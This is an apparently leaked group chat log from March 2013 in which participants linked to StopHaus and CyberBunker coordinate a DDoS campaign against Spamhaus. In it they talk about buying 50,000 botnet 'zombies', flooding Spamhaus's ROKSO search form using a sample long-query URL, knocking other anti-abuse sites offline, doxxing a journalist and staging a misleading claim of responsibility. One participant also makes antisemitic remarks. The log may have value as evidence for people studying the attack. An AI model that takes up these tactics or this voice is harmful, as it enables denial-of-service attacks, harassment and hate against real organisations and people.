3200[19.03.2013 15:47:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:https://www.facebook.com/cb3rob/posts/559297757434600?notif_t=like
3201[19.03.2013 15:48:27] Yuri: i do retwitt
3202[19.03.2013 15:49:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: k
3203[19.03.2013 16:27:09] Antitheist: Quentin Jenkins...did we dox him?
3204[19.03.2013 16:27:58] Antitheist: im sure he is more than just a news posting clown
3205[19.03.2013 16:28:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: might as well set up a stophaus anon operation haha
3206[19.03.2013 16:39:19] eDataKing: a claim needs to be made that includes information that only us and SH would know and that can have a cover story for any bad people with questions
3207
3208A call to Alex Jones may be what is needed using AV Voice Changer and ready to answer basic questions.
3209[19.03.2013 16:39:42] eDataKing: There has to be 1. Proof and 2. An out
3210[19.03.2013 16:39:47] eDataKing: That is the tricky part
3211[19.03.2013 16:41:40] eDataKing: Adam from Adam vs The Man starts at 11 (30 mins)
3212[19.03.2013 16:41:43] eDataKing: it's a call in
3213[19.03.2013 16:42:10] eDataKing: what can we give that takes claim and leaves an out
3214[19.03.2013 16:43:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their root password? lol
3215[19.03.2013 16:43:22] eDataKing: no suggestions?
3216[19.03.2013 16:43:32] eDataKing: well that would work
3217[19.03.2013 16:43:41] eDataKing: send it via IRC
3218[19.03.2013 16:44:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: *grin*
3219[19.03.2013 16:45:25] eDataKing: it'll be short and sweet, "A Russian gang was not behind the DoS, Andrew is not STOPhaus, and STOPhaus is not made up of fake identities. Spamhaus is, and has always been liars and if they deny STOPhaus shut them down, ask them if their root pass was _______"
3220[19.03.2013 16:46:00] eDataKing: but that isn't good enough for the public
3221[19.03.2013 16:46:08] eDataKing: because SH will claim it was not correct
3222[19.03.2013 16:46:10] eDataKing: to save face
3223[19.03.2013 16:47:10] eDataKing: 15 mins til show time...
3224[19.03.2013 16:47:17] eDataKing: what do we say?
3225[19.03.2013 17:50:04] narko: im back
3226[19.03.2013 17:50:25] narko: the nameservers for stophaus need to be changed
3227[19.03.2013 17:51:04] narko: spamhaus SBLed my site and my host will terminate me unless spamhaus tells them that it's ok
3228[19.03.2013 17:51:08] narko: fucking internet police
3229[19.03.2013 17:52:57] eDataKing: ok, what are we changing them to?
3230[19.03.2013 17:53:40] narko: i will set up dns servers on my home connection
3231[19.03.2013 17:53:41] narko: lol
3232[19.03.2013 17:53:45] narko: i dont think my isp gives a shit
3233[19.03.2013 17:53:48] narko: i'm alraedy in PBL
3234[19.03.2013 17:53:56] eDataKing: lol, as long as you are safe
3235[19.03.2013 17:53:59] narko: what does it matter if i'm in SBL? :P
3236[19.03.2013 17:54:04] narko: well.. as long as they won't ddos me
3237[19.03.2013 17:54:05] eDataKing: ok, then it should be all good
3238[19.03.2013 17:54:06] narko: I have a static ip
3239[19.03.2013 17:54:18] eDataKing: what about your upstream?
3240[19.03.2013 17:54:50] narko: I want to buy a /24 and host this just to fuck spamhaus
3241[19.03.2013 17:54:57] narko: anyone selling /24 :P i pay €200
3242[19.03.2013 17:55:34] narko: i cannot believe that my host is telling me i need to leave for a fake SBL listing that is nto even hosted at their network
3243[19.03.2013 17:55:38] Yuri: they will list all network at once and put upsteam
3244[19.03.2013 17:55:39] narko: why do they listen to spamhaus..?
3245[19.03.2013 17:55:44] Yuri: small networks dont save
3246[19.03.2013 17:55:54] Yuri: they are rogues as well
3247[19.03.2013 17:56:23] eDataKing: ok
3248[19.03.2013 17:56:43] eDataKing: sometimes, Road Runner did once
3249[19.03.2013 17:56:46] narko: ok I am setting up some new dns ;)
3250[19.03.2013 17:56:53] eDataKing: but you are in a better area for that
3251[19.03.2013 17:57:01] narko: I will install BIND to my cellphone
3252[19.03.2013 17:57:03] narko: and use 3G network :))
3253[19.03.2013 17:58:04] narko: yuri supplied yandex dns
3254[19.03.2013 17:58:07] eDataKing: ok
3255[19.03.2013 17:58:17] Yuri: ßõрòøчýыù DNS-ÑÂõрòõр: dns1.yandex.net
3256Òтþрøчýыù DNS-ÑÂõрòõр: dns2.yandex.net
3257[19.03.2013 17:58:38] eDataKing: registrar changes commencing
3258[19.03.2013 17:59:05] eDataKing: oh, I need that translated
3259[19.03.2013 18:01:02] eDataKing: nvm
3260[19.03.2013 18:01:05] eDataKing: got it
3261[19.03.2013 18:04:24] Yuri: to chane DNS to yandex.net we need to write new DNS to registrator
3262[19.03.2013 18:04:44] Yuri: and only then we could be able add A type record
3263[19.03.2013 18:05:08] Yuri: we can try to use some other free and good DNSs
3264[19.03.2013 18:06:00] narko: I can host dns
3265[19.03.2013 18:06:06] narko: on my cell phone
3266[19.03.2013 18:06:21] narko: if I keep it by my window it will have 100% connectin
3267[19.03.2013 18:06:23] narko: :P
3268[19.03.2013 18:13:19] eDataKing: yes, is there an IP to point to?
3269[19.03.2013 18:13:30] narko: it's ok now you are using yandex
3270[19.03.2013 18:13:54] eDataKing: ok
3271[19.03.2013 18:18:44] simomchen: spamhaus is not working in China , lol
3272[19.03.2013 18:19:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: \o/
3273[19.03.2013 18:20:02] simomchen: how much they send to cloudflare for is ddos case ?
3274[19.03.2013 18:20:18] Antitheist: depends on traffic
3275[19.03.2013 18:21:16] eDataKing: so it costs for band?
3276[19.03.2013 18:21:28] simomchen: let me make a CC to them in China
3277[19.03.2013 18:21:35] eDataKing: then this will kill them in the end
3278[19.03.2013 18:21:49] Antitheist: https://www.cloudflare.com/business
3279[19.03.2013 18:22:10] Yuri: stophaus.com moved to new DNS.
3280[19.03.2013 18:22:16] simomchen: I brought 50K adsl Broilers just now
3281[19.03.2013 18:22:48] eDataKing: Then their DNS is a ticking timebomb dependent on public support. They don't have a lot of that left
3282[19.03.2013 18:23:46] Yuri: 50k of what?
3283[19.03.2013 18:23:52] Antitheist: DNS of stophaus should be hosted on cloudflare imho
3284[19.03.2013 18:24:13] Antitheist: they will be afraid to list it lol
3285[19.03.2013 18:24:20] simomchen: 50000 ADSL broilers zombies , hehe
3286[19.03.2013 18:24:23] Yuri: cloudflare will kick off
3287[19.03.2013 18:24:27] Yuri: oohh.. shit.
3288[19.03.2013 18:24:48] Yuri: we need a plan how to fight :)
3289[19.03.2013 18:25:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: have andrew call the ico..
3290[19.03.2013 18:25:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
3291[19.03.2013 18:25:43] eDataKing: lol, I don't know if it is a good timing for that ;)
3292[19.03.2013 18:25:53] eDataKing: but there will be a good time in the near future
3293[19.03.2013 18:25:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its always a good timing to call the ico :P
3294[19.03.2013 18:25:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3295[19.03.2013 18:26:02] Antitheist: we need bots that will do large POST requests on the search form of ROKSO
3296[19.03.2013 18:26:06] eDataKing: lol, i hate "suits"
3297[19.03.2013 18:26:09] Antitheist: that will stress the shit out of mysql
3298[19.03.2013 18:26:23] eDataKing: yep
3299[19.03.2013 18:27:02] simomchen: Antitheist:
3300<<< we need bots that will do large POST requests on the search form of ROKSOyes, that's CC attack I said just now. ROKSO is not big enought , I'm CC their http://www.spamhaus.org/sbl/latest/ currently
3301[19.03.2013 18:27:11] simomchen: do not know cloudflare can handle that
3302[19.03.2013 18:27:24] Antitheist: SBL are not in mysql
3303[19.03.2013 18:27:53] Antitheist: there is no search on the DB when you request them
3304[19.03.2013 18:28:06] eDataKing: true
3305[19.03.2013 18:28:12] Antitheist: but a search form, any of them, must have at least 1 SELECT statement
3306[19.03.2013 18:28:15] simomchen: okay,
3307http://www.spamhaus.org/rokso/
3308how about this page ?
3309[19.03.2013 18:28:23] Antitheist: yes, see the search form
3310[19.03.2013 18:28:27] eDataKing: RBLs are on a Logistics server at abuseat.org
3311[19.03.2013 18:28:29] Antitheist: you need to post long random shit there
3312[19.03.2013 18:28:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: SBL157600 5.157.0.0/22 webexxpurts.com
331319-Mar 13:53 GMT Spammer hosting (escalation)
3314
3315
3316SBL157599 5.153.238.0/24 webexxpurts.com
331719-Mar 13:53 GMT Spammer hosting (escalation)
3318[19.03.2013 18:28:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3319[19.03.2013 18:28:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: wasn't he in here the other day :P
3320[19.03.2013 18:28:46] eDataKing: at least the cbl is
3321[19.03.2013 18:28:54] eDataKing: yes
3322[19.03.2013 18:28:59] eDataKing: He left?
3323[19.03.2013 18:29:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dunno
3324[19.03.2013 18:29:05] simomchen: okay, let me make a 'search'
3325[19.03.2013 18:29:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: changed names?
3326[19.03.2013 18:29:12] eDataKing: maybe
3327[19.03.2013 18:29:21] eDataKing: that was who I thought Darwin was
3328[19.03.2013 18:29:47] eDataKing: like he changed his name in the middle of a conversation
3329[19.03.2013 18:29:54] eDataKing: and Darwin picked up the chat
3330[19.03.2013 18:29:54] Antitheist: oh good news, its available in GET as well
3331[19.03.2013 18:30:01] Antitheist: http://www.spamhaus.org/rokso/search/?evidence=LONGSHITGOESHERE
3332[19.03.2013 18:30:40] eDataKing: They are desperate to take down the content though
3333[19.03.2013 18:30:55] eDataKing: I knew they would be scared to show their faces to public scrutiny
3334[19.03.2013 18:36:03] Yuri: SBL179370 66.192.253.42/32 twtelecom.net
333519-Mar 15:15 GMT Suavemente/SplitInfinity/Innova Direct : Feed to Jelly Digital (AS4323 >>> AS33431)
3336
3337SBL179369 4.53.122.98/32 level3.net
333819-Mar 15:03 GMT Suavemente/SplitInfinity/Innova Direct : Feed to Critical Data Network, Inc. (AS3356 >>> AS53318)
3339
3340spamhaus started to fuck hardly everywhere. they are angry.
3341[19.03.2013 18:37:39] Antitheist: no mercy anymore, everyone who they scaped out of stophaus members gets the entire /24 listed in ROKSO :)
3342[19.03.2013 18:37:40] simomchen: cloudflare service them , we are angry too
3343[19.03.2013 18:40:35] simomchen: but if the ddos keeping , I think spamhaus would go bankrupt
3344[19.03.2013 18:40:52] narko: they won't go bankrupt
3345[19.03.2013 18:40:55] narko: he will just buy a smaller boat
3346[19.03.2013 18:41:00] simomchen: because cloudflare must charge tons of money form them
3347[19.03.2013 18:41:34] simomchen: what they can do in that boat ? if they do not pay to cloudflare , they will down again
3348[19.03.2013 18:41:48] narko: cloudflare only cost $200 per month
3349[19.03.2013 18:41:52] eDataKing: he claims he sold the boat
3350[19.03.2013 18:41:53] narko: for business plan
3351[19.03.2013 18:42:01] eDataKing: but there has never been confirmation of that
3352[19.03.2013 18:42:31] eDataKing: $200 can't pay for the band, they'll nix them in that case
3353[19.03.2013 18:42:34] eDataKing: costs them money
3354[19.03.2013 18:42:46] simomchen: are you sure cloudflare only charge them $200 , Narko ?
3355[19.03.2013 18:42:54] narko: they have three plans
3356[19.03.2013 18:43:02] narko: free - business - enterprise
3357[19.03.2013 18:43:04] narko: business = $200
3358[19.03.2013 18:43:07] narko: enterprise = $2000
3359[19.03.2013 18:43:10] eDataKing: they'd need enterprise
3360[19.03.2013 18:43:10] narko: i am sure they did not pay 2000
3361[19.03.2013 18:43:16] eDataKing: and that would even be stressed
3362[19.03.2013 18:43:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep
3363[19.03.2013 18:43:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its not like normal enterprises get ddossed lol
3364[19.03.2013 18:43:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well not that often anyway
3365[19.03.2013 18:43:36] simomchen: maybe spamhaus is using their customize plan
3366[19.03.2013 18:43:43] narko: cloudflare hosted lulzsec on a free plan
3367[19.03.2013 18:43:46] eDataKing: but they have separated their assets so much that they are vulnerable to being hit in multiple places
3368[19.03.2013 18:43:47] narko: theymust have got very big ddoses
3369[19.03.2013 18:43:59] eDataKing: they can't afford to protect all their "locations"
3370[19.03.2013 18:45:57] narko: now spamhaus are treating me as a dirty isp and not even replying my removal requests
3371[19.03.2013 18:46:51] eDataKing: Who is chargen?
3372[19.03.2013 18:47:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: edwin
3373[19.03.2013 18:47:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: aka serial
3374[19.03.2013 18:47:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: aka nl0fox
3375[19.03.2013 18:48:35] eDataKing: good peeps?
3376[19.03.2013 18:48:43] eDataKing: how about?
3377
3378andrey ak-1**@yandex.ru
3379[19.03.2013 18:48:53] eDataKing: I see the yandex
3380[19.03.2013 18:49:28] eDataKing: so, Edwin is good then?
3381[19.03.2013 18:49:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep
3382[19.03.2013 18:50:06] eDataKing: How about:
3383
3384doopz spam*(at)sernate.com
3385[19.03.2013 18:50:45] Antitheist: narko i dont think we can compare spamhaus to lulzsec
3386[19.03.2013 18:50:47] Yuri: ak-1 is ok. it's our jurist email
3387[19.03.2013 18:50:48] Antitheist: its a PR7 site
3388[19.03.2013 18:51:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulzsec was ryan cleary and his new found 'gray hat buddies' of mi6
3389[19.03.2013 18:51:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after he gave intel on anonymous to the uk police
3390[19.03.2013 18:51:54] eDataKing: yup, got Sabo right?
3391[19.03.2013 18:52:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so de-facto lulzsec kinda was the hacking department of the uk secret service all along
3392[19.03.2013 18:52:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with that guy to link them to 'anon' in the press
3393[19.03.2013 18:52:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: despite anon hating his butt
3394[19.03.2013 18:52:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they did some funny things tho
3395[19.03.2013 18:52:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but in the end... all ryan was ever good for was linking it to anon
3396[19.03.2013 18:52:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so they dropped him in the end
3397[19.03.2013 18:52:42] eDataKing: we are not going against anons by using the We are legion line right?
3398[19.03.2013 18:52:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its not like ryan actually was capable of hacking anything
3399[19.03.2013 18:52:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3400[19.03.2013 18:52:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nah :P
3401[19.03.2013 18:52:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not with me haha :P
3402[19.03.2013 18:53:05] eDataKing: didn't think so
3403[19.03.2013 18:53:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: except for some mossad infiltrants that seem to somehow have scraped o-lines on the irc servers (basically by providing new ones ;)
3404[19.03.2013 18:53:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most of them know exactly who i am haha
3405[19.03.2013 18:54:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well those mossad fuckers know too ofcourse :P but they no like me :P
3406[19.03.2013 18:54:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and the way in which we solve the jew problem
3407[19.03.2013 18:54:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3408[19.03.2013 18:55:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: mercedesses on diesel don't just accidentially blow up in your face a few hours before a pre-announced trip to your attorneys in the piratebay case after all... and the starter engine on your second one doesn't accidentially disconnect itself at the same time..
3409[19.03.2013 18:55:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so yeah they know pretty well who i am... but anon ofcourse is not a homogenous group. there are multiple players on the field as in terms of infiltration
3410[19.03.2013 18:57:02] eDataKing: I like to say that Anons are everyone
3411[19.03.2013 18:57:17] eDataKing: because anyone can be an anon without any rgeistration process
3412[19.03.2013 18:57:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: including steve linford haha
3413[19.03.2013 18:57:24] eDataKing: lol
3414[19.03.2013 18:57:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just that his opinion isn't democratically relevant haah
3415[19.03.2013 19:02:27] Yuri: For SBLs spamhaus
3416use
3417[19.03.2013 19:02:27] Yuri:
3418<<< http://stopforumspam.com/
3419https://www.projecthoneypot.org/ - ÑÂтþт тþчýþ
3420https://zeustracker.abuse.ch/
3421https://spyeyetracker.abuse.ch/those sites 100%
3422[19.03.2013 19:02:39] narko: ok let's make these down ;)
3423[19.03.2013 19:02:46] narko: first i'm trying their amazon dns
3424[19.03.2013 19:04:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol that stopforumspam one... another clear case of privacy laws.
3425[19.03.2013 19:04:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ips and email addresses for everyone to see.
3426[19.03.2013 19:04:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
3427[19.03.2013 19:06:26] narko: well stopforumspam isnt so bad
3428[19.03.2013 19:06:28] narko: they list spammers
3429[19.03.2013 19:06:32] narko: and only the ip
3430[19.03.2013 19:07:04] Yuri: i don't use it and i don't have spam on forums.
3431[19.03.2013 19:07:08] Yuri: all that shit for lammers.
3432[19.03.2013 19:07:34] narko: i just block everyone with "Man" in biography and i have no spammers now ;)
3433[19.03.2013 19:12:05] eDataKing: I have never been against stopforumspam either
3434[19.03.2013 19:12:37] eDataKing: They have never hosted a libel site, coerced ISPs to do their bidding, or violated free speech and expression rights
3435[19.03.2013 19:46:42] eDataKing: Spamhaus Under Attack, POS Pitfalls, 5 Rules & Webinars
3436
3437[UPDATE: Spamhaus is back online.]
3438
3439The lead article in this week's Transactional Email News was supposed to reference a recent article on the Spamhaus blog about the organization's recently announced spam traps program and issues with transactional email. Yet as of press time here at the Transactional Email News world headquarters, the article isn't available because the entire Spamhaus site is under a massive distributed denial of service (dDOS) attack. For any senders who might be adversely affected by the unavailability of Spamhaus blocking lists and services, Laura Atkins at the indispensable Word to the Wise blog has some helpful suggestions. Good luck to the Spamhaus team in getting back up and running soon.
3440[19.03.2013 19:47:00] eDataKing: Posted on March 18, 2013 by John Pinson
3441[19.03.2013 20:00:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm my sales droid is currently trying to buy global transit again lol
3442[19.03.2013 20:00:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he.netunderstands the situation... but is a bit hesitative :P
3443[19.03.2013 20:01:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at least they know whats going on haha
3444[19.03.2013 20:13:06] eDataKing: lol
3445[19.03.2013 20:13:13] eDataKing: everyone knows what is going on
3446[19.03.2013 20:13:19] eDataKing: have you seen twitter lately
3447[19.03.2013 20:14:24] eDataKing: It was falsely reported as an Anonymous hit by Softpedia and that was carried across the Twittershpere
3448[19.03.2013 20:15:07] eDataKing: Then Spamhaus published a Official Statement saying it was a Russian Crime Gang (sound familiar - see 2010 wikileaks)
3449[19.03.2013 20:15:31] eDataKing: Now they are cleaning up the error by publishing another error throughout the web
3450[19.03.2013 20:15:57] eDataKing: and I am wondering if we should let them keep wondering or not. I love the subtle approach in this one.
3451[19.03.2013 20:16:10] eDataKing: Let them "figure it out" without any evidence to support it.
3452[19.03.2013 20:16:15] eDataKing: Kind of like they do ROKSO files
3453[19.03.2013 20:20:10] eDataKing:http://top.robtex.com/wordtothewise.com.html#records
3454[19.03.2013 20:20:18] eDataKing: Word to the Wise is using he.net
3455[19.03.2013 20:21:03] eDataKing: Laura's blog may be more important than Spamhaus to Spamhaus users.
3456[19.03.2013 20:21:20] Antitheist: 5 websites use this address. (examples:dkimcore.org llysmenai.org samspade.org tupid.org)
3457[19.03.2013 20:21:41] eDataKing: Sam Spade
3458[19.03.2013 20:21:50] eDataKing: now that is a name I recognize
3459[19.03.2013 20:22:22] eDataKing: User-Agent: Sam Spade 1.14 HTTP/1.1 200
3460[19.03.2013 20:22:43] eDataKing: looks like a tool they use
3461[19.03.2013 20:22:54] Antitheist: just a wget
3462[19.03.2013 20:22:58] Antitheist: modified banner
3463[19.03.2013 20:23:10] eDataKing: gotcha
3464[19.03.2013 20:23:22] eDataKing: are all those properties of the Atkins family?
3465[19.03.2013 20:23:23] Antitheist: they can be sued for that btw
3466[19.03.2013 20:23:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well its all over my facebook profile
3467[19.03.2013 20:23:30] Antitheist: its a clear violation of GPL
3468[19.03.2013 20:23:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so by the time they figure out what facebook is, like, most of the press already did
3469[19.03.2013 20:23:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.
3470[19.03.2013 20:24:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lets just say that in the webwereld article, steve linfords bullcrap was placed all the way at the bottom for a reason :P
3471[19.03.2013 20:24:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and it had a lot of 'according to' and 'spamhaus claims' in it :P
3472[19.03.2013 20:24:35] eDataKing: they have all put Steve's statement at the bottom. Gotta love diplomacy ;)
3473[19.03.2013 20:25:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: probably they all also included the 'according to spamhaus' 'spamhaus claims' etc
3474[19.03.2013 20:25:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in between :P
3475[19.03.2013 20:25:28] eDataKing: they sure did
3476[19.03.2013 20:25:31] eDataKing: even the tweets
3477[19.03.2013 20:25:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: especially the part where steve linford claims you are a nutcase (uhuh, a nutcase that just so happens to keep them down for 5 days in that case ;)
3478[19.03.2013 20:25:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: makes perfect sense haha
3479[19.03.2013 20:26:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: basically it acknowledges everything we say about spamhaus, as they do it in their god damn press statement :P
3480[19.03.2013 20:26:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3481[19.03.2013 20:26:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: slander :P
3482[19.03.2013 20:29:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
3483[19.03.2013 20:29:42] eDataKing: after all, that is how they make their money
3484[19.03.2013 20:29:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: basically you get only half the fucking internet if you resolve them haha
3485[19.03.2013 20:30:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and if you claim to be an admin, for fucks sake, admin... don't outsource the censorship to a vague limited probably funded by the cia
3486[19.03.2013 20:30:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3487[19.03.2013 20:30:24] eDataKing: they want that half to pay is all
3488[19.03.2013 20:30:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: national security and all that
3489[19.03.2013 20:30:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3490[19.03.2013 20:30:34] eDataKing: an end to free communication on the web
3491[19.03.2013 20:30:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: seriously i don't know ANY SERIOUS ORGANISATION that thinks its a good idea... to let offshore limiteds select who gets to communicate with them
3492[19.03.2013 20:31:02] eDataKing: it makes no sense
3493[19.03.2013 20:31:30] eDataKing: I wouldn't even want my Gov to, but some dude with an opinion so great he can't even put a comment box on his ROKSO files
3494[19.03.2013 20:31:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: simon: that sorta people... why don't you make chinese internet an export product lol :P
3495[19.03.2013 20:31:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly they like big firewalls :P
3496[19.03.2013 20:32:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now we made it even easier for you, you don't have to configure spamhaus, you can just get a chinese adsl connection at your home in .nl!
3497[19.03.2013 20:32:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yay
3498[19.03.2013 20:32:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: speaking about which.. i think we're gonna need chinanet transit :P
3499[19.03.2013 20:32:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at least they don't give a fuck
3500[19.03.2013 20:32:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: would make nice pr :P
3501[19.03.2013 20:32:57] eDataKing: I think .pl and .at are the best for privacy these days
3502[19.03.2013 20:33:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well.. if spamhaus would operate in .nl... they would have some serious issues :P
3503[19.03.2013 20:33:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same for .de
3504[19.03.2013 20:33:33] eDataKing: they couldn't
3505[19.03.2013 20:33:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same for .ch (which makes me wonder how they got away with that for all those years ;)
3506[19.03.2013 20:33:42] eDataKing: just like they could never really operate here
3507[19.03.2013 20:33:45] eDataKing: they would never allow it
3508[19.03.2013 20:33:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in .de they would not even get past the company registration process, no
3509[19.03.2013 20:33:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as a natural person in germany is required
3510[19.03.2013 20:33:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and a real office
3511[19.03.2013 20:33:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
3512[19.03.2013 20:34:03] eDataKing: yup
3513[19.03.2013 20:34:19] eDataKing: need a SS# to file for a business here and some Directors to be Official
3514[19.03.2013 20:34:40] eDataKing: he couldn't get any more Directors than his girlfriend. Not enough chap ;)
3515[19.03.2013 20:35:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well some of his limiteds have other limiteds as directors lol
3516[19.03.2013 20:35:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lets look at the wastelands foundation shall we... gee i see like 6 natural persons in there :P
3517[19.03.2013 20:35:55] eDataKing: I have only seen The Graeme (2 of them)
3518[19.03.2013 20:35:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: all proxies, ofcourse, but still :P
3519[19.03.2013 20:35:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: natural persons
3520[19.03.2013 20:36:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: unlike 'spamhaus' :P
3521[19.03.2013 20:36:01] eDataKing: and they are on hundreds of registrations
3522[19.03.2013 20:36:11] eDataKing: they are a boiler room for company registrations
3523[19.03.2013 20:36:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: speaking about foundations, why doesn't this fuck have any, if he claims to be a non-profit
3524[19.03.2013 20:36:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a limited is not the vehicle of choice there :P
3525[19.03.2013 20:36:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: unless ofcourse it needs to be vague and shady
3526[19.03.2013 20:36:49] narko: he says
3527[19.03.2013 20:36:57] narko: he has the Spamhaus Foundation registered in litchtenstein
3528[19.03.2013 20:37:02] narko: but there's never been any evidence of that
3529[19.03.2013 20:37:05] eDataKing: then there is Spamhaus Logistics Limited that appears as a Director on some instead of Geraldine (his girl)
3530[19.03.2013 20:39:11] eDataKing: the only place I see that referenced is on their site and on wikipedia and wikipedia just says it is on their site
3531[19.03.2013 20:39:29] eDataKing: I have never seen anything to confirm that there is a The Spamhaus Foundation in lichtenstien. Have you?
3532[19.03.2013 20:39:37] narko: nope
3533[19.03.2013 20:39:47] eDataKing: I don't believe it when they say it
3534[19.03.2013 20:40:11] narko: the company is non-profit
3535[19.03.2013 20:40:20] eDataKing: I have to see some sort of verifiable evidence because they are the most lying sacks of shits I have ever ran into
3536[19.03.2013 20:40:31] narko: of course the COMPANY doesn't make any profit, because all of the income goes as "salary" to stevey :P
3537[19.03.2013 20:40:43] narko: so it's a normal non-profit
3538[19.03.2013 20:40:48] eDataKing: Well, Spamhaus Technology is a for-profit
3539[19.03.2013 20:40:56] eDataKing: Spamhaus Logistics is for-profit
3540[19.03.2013 20:41:08] eDataKing: and Spamhaus Whitelist is also for-profit
3541[19.03.2013 20:41:26] eDataKing: Which all have the same associated Board of Directors as The Spamhaus Project's NP
3542[19.03.2013 20:44:17] *** Alex Optik quit ***
3543[19.03.2013 20:45:15] eDataKing: I knew Alex was sketchy yesterday
3544[19.03.2013 20:45:42] eDataKing: I even asked him what he meant about something
3545[19.03.2013 20:45:53] eDataKing: who is he btw?
3546[19.03.2013 20:46:08] Antitheist: some russian
3547[19.03.2013 20:46:19] Antitheist: invited by yuri i think
3548[19.03.2013 20:46:24] eDataKing: ok, he isn't a potential snitch then?
3549[19.03.2013 20:46:32] Antitheist: doubtful
3550[19.03.2013 20:46:36] eDataKing: kk
3551[19.03.2013 20:46:53] narko: why is there people in here
3552[19.03.2013 20:46:55] narko: who have never talked
3553[19.03.2013 20:46:59] narko: (puke)
3554[19.03.2013 20:47:02] narko: it looks suspicious
3555[19.03.2013 20:47:05] Antitheist: who is marco?
3556[19.03.2013 20:47:07] Antitheist: and markos
3557[19.03.2013 20:47:15] eDataKing: I saw marco post a while back
